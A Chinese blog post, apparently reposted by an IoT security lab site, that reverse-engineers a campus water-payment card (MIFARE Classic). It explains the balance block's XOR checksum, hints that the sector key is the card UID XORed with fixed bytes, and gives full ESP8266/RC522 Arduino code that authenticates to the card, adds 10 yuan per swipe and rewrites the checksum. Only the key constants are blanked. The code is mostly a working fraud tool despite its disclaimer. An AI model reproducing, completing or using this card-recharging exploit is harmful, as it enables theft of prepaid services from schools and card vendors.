金诚卡算法分析及自制硬件测试设备

 2019-03-30 12:26   344 人阅读  0 条评论

*本文内容仅用于技术讨论,严禁用于任何违法用途。

一、引言

金诚卡这个东西说熟悉的人很熟悉,说不熟悉的人压根就没见过,国内有很多高校都用这款水卡。 这款水卡有两个版本,下图是旧版本的金诚卡(非全加密),另一个版本长的比这个丑(全加密)。虽然全加密和非全加密感觉安全性改善了很多,但是由于其加密密钥,加密方法并没有变化所以还是可以通过旧卡分析出来算法。当然完全可以通过 mfcuk 得到完整的密钥,实现通用修改毕竟算法并没有改变。

二、卡内数据结构一览

首先我们看一下旧卡的(非全加密卡),通过几张卡对比就能发现是一卡一密。

旧卡是12扇区有数据,新卡的话也是12扇区有数据,但是在别的扇区也增加了一些个人信息的数据(估计是如果有人破解了好抓人)。可以看到只有12扇区的KEYA不是默认密钥,其余均为默认密钥。于是我们学校好多人就动起了歪心思。毕竟acr122u这种设备已经泛滥,也不管三七二十一就克隆写入到白卡开始卖(也不分析下卡的数据),然后一个个全被抓(该!)。而新卡为全加密,数据的扇区和块均保持不变。但是密钥的算法还是保持不变的。

Ps.上面这个数据是我在网上收集的,还修改了涉及到学校代码的信息。

三、金钱区块算法分析

12扇区0块为金钱值,通过最没有技术含量的对比法分析哪个位置是金钱的。所以可以得到第5、6、7组 是明显变化的。所以判断这三个和金钱有关。

01 15 02 00 21 86 B1 F1 FFFFFFFFFFFFFFFF
01 15 02 00 21 85 B2 F1 FFFFFFFFFFFFFFFF
01 15 02 00 21 84 B3 F1 FFFFFFFFFFFFFFFF

但是之前还有01 15 02 这三个代码,考研报名的时候就经常见到这个代码(本文代码是假的)。这摆明了就是学校的代码嘛。合着水卡的信息还包含学校代码。

21 86从十六进制转换成10进制,竟然和卡里的钱数*100后一样,所以5 6组就是金钱的位置。那么第七组就是校检位了,防止篡改数据。想想Ic卡最常见的校检方法,结果还是2位。于是我推测是每一组每一组进行异或运算。果真01^15^02^00^21^86的结果是B1。原来学校代码的作用是这个啊,防止跨校买水么。于是此阶段水卡的金钱扇区就解密了。

四、一卡一密解密

这部分不敢太详细说,怕教坏别人。但是通过金钱区块的分析得到生成校检位的是异或运算。那么KEYA是不是也是通过异或得到的?还有为什么KEY结尾四位都是固定的?前面8位变化?uid也是8位?是不是KEYA是根据UID计算出来的+固定值?异或好像是可逆运算啊!这段就说到这里了。

五、大头来了,自制硬件设备

有了KEYA计算规则,还有校检生成方法。可以完美的对任何一张水卡进行充值了(包括新卡,因为除了全加密了其余并没有改变)。

硬件设备包括:

0.96的OLED一个 (i2c)

esp8266nodemcu v1.0 的开发版一个

Rc522模块一个 (spi)

其实本来想用arduino的,但是手头有个不用的esp8266就干脆用上了,把它看作arduino就行了。接线按照下图接入spi和i2c就行了,没啥难的。(主要是我画的电路图太丑了 拿不出手)下图是esp8266的引脚定义,如果你也用esp8266那么可以参照这个。

我自己接完之后长这样。背面我就不拍照了,太丑了,焊工渣死。

代码如下,请注意看注释:

include
include
include
include
include
define SDA_PIN 4 //定义oled的data
define SCL_PIN 5 //定义oled的clock
define RST_PIN 10 // 定义rc522的rst
define SS_PIN 15 //定义rc522的ss (其余的就参照spi和i2c对应的引脚就行了 rc522的RQ悬空 不用接)
MFRC522 mfrc522(SS_PIN, RST_PIN); // 创建MFRC522实例
Adafruit_ssd1306syp display(SDA_PIN, SCL_PIN); //创建oled显示实例
MFRC522::MIFARE_Key keyA;
/**
Initialize.
*/
void setup() {
delay(1000);
display.initialize();
Serial.begin(9600);
while (!Serial);
SPI.begin();
mfrc522.PCD_Init();
pinMode(D0, OUTPUT); //这个是设置板载的LED为输出端口
digitalWrite(D0, HIGH); //这个LED高电平亮低电平灭 所以拉高。
display.setTextSize(3); //欢迎界面
display.setTextColor(WHITE);
display.println("WELCOM");
display.update();
delay(3000);
}
/**
Main loop.
*/
void loop() {
display.clear();//清空显示
//寻找新卡
if ( ! mfrc522.PICC_IsNewCardPresent()) {
return;
}
//选择一个卡
if ( ! mfrc522.PICC_ReadCardSerial())
{
return;
}
//读取uid并byte2string
String UID = "";
for (byte i = 0; i < mfrc522.uid.size; i++) {
UID.concat(String(mfrc522.uid.uidByte[i], HEX));
}
UID.toUpperCase();
display.setTextSize(2);
display.setTextColor(WHITE);
display.setCursor(0, 0);
display.println(UID);
//计算key 这块结合着前面看,已经很清晰的知道怎么计算KEYA了
keyA.keyByte[0] = mfrc522.uid.uidByte[0] ^ 0x; keyA.keyByte[1] = mfrc522.uid.uidByte[1] ^ 0x;
keyA.keyByte[2] = mfrc522.uid.uidByte[2] ^ 0x; keyA.keyByte[3] = mfrc522.uid.uidByte[3] ^ 0x;
keyA.keyByte[4] = 0x; keyA.keyByte[5] = 0x;
String KEY = "";
for (byte i = 0; i < 6; i++) {
KEY.concat(String( keyA.keyByte[i], HEX));
}
KEY.toUpperCase();
//display.print("KEY:");
// display.println(KEY);
//display.update();
byte sector = 12; //扇区
byte blockAddr = 48; //扇区开始块 金额地址
MFRC522::StatusCode status; //状态码
byte buffer[18];
byte size = sizeof(buffer);
// 在trailerBlock块中 使用身份验证密钥A
Serial.println(F("Authenticating using key A…"));
status = (MFRC522::StatusCode) mfrc522.PCD_Authenticate(MFRC522::PICC_CMD_MF_AUTH_KEY_A, blockAddr, &keyA, &(mfrc522.uid));
if (status != MFRC522::STATUS_OK) { //如果状态!=成功
display.println("failed");
display.println(mfrc522.GetStatusCodeName(status)); //输出状态
return;
}
//输出指定扇区当前内容
status = (MFRC522::StatusCode) mfrc522.MIFARE_Read(blockAddr, buffer, &size);
if (status != MFRC522::STATUS_OK) { //如果读取错误输出错误信息
display.println("failed");
display.println(mfrc522.GetStatusCodeName(status)); //输出状态
}
int IntMoney = buffer[5] | buffer[4] << 8; //byte2int
display.print("old:");
display.println(IntMoney / 100.0);
IntMoney = IntMoney + 1000;
buffer[4] = IntMoney >> 8;
buffer[5] = IntMoney;
int IntMoney1 = buffer[5] | buffer[4] << 8; //int2byte
buffer[6] = buffer[0] ^ buffer[1] ^ buffer[2] ^ buffer[3] ^ buffer[4] ^ buffer[5]; //计算校检位
status = (MFRC522::StatusCode) mfrc522.MIFARE_Write(blockAddr, buffer, 16);
if (status != MFRC522::STATUS_OK) { //如果写入失败返回错误状态码
display.println("failed");
display.println(mfrc522.GetStatusCodeName(status)); //输出状态
}
//再读一遍 显示读取后的钱
status = (MFRC522::StatusCode) mfrc522.MIFARE_Read(blockAddr, buffer, &size);
if (status != MFRC522::STATUS_OK) { //如果读取错误输出错误信息
display.println("failed");
display.println(mfrc522.GetStatusCodeName(status)); //输出状态
}
IntMoney = buffer[5] | buffer[4] << 8; //
display.print("new:");
display.println(IntMoney / 100.0);
mfrc522.PICC_HaltA();
// Stop encryption on PCD
mfrc522.PCD_StopCrypto1();
display.update();
digitalWrite(D0, LOW);
delay(500);
digitalWrite(D0, HIGH);

这是烧录后的效果,测试效果是刷一次增加10元,下一步准备把wifi利用上,毕竟不能浪费了wifi功能。最后,请大家不要利用本文干坏事哟!

本文地址:https://www.lotlabs.com/archives/1156
温馨提示:文章内容系作者个人观点,不代表物联网安全实验室对观点赞同或支持。
版权声明:本文为转载文章,来源于 包子no ,版权归原作者所有,欢迎分享本文,转载请保留出处!

 发表评论


表情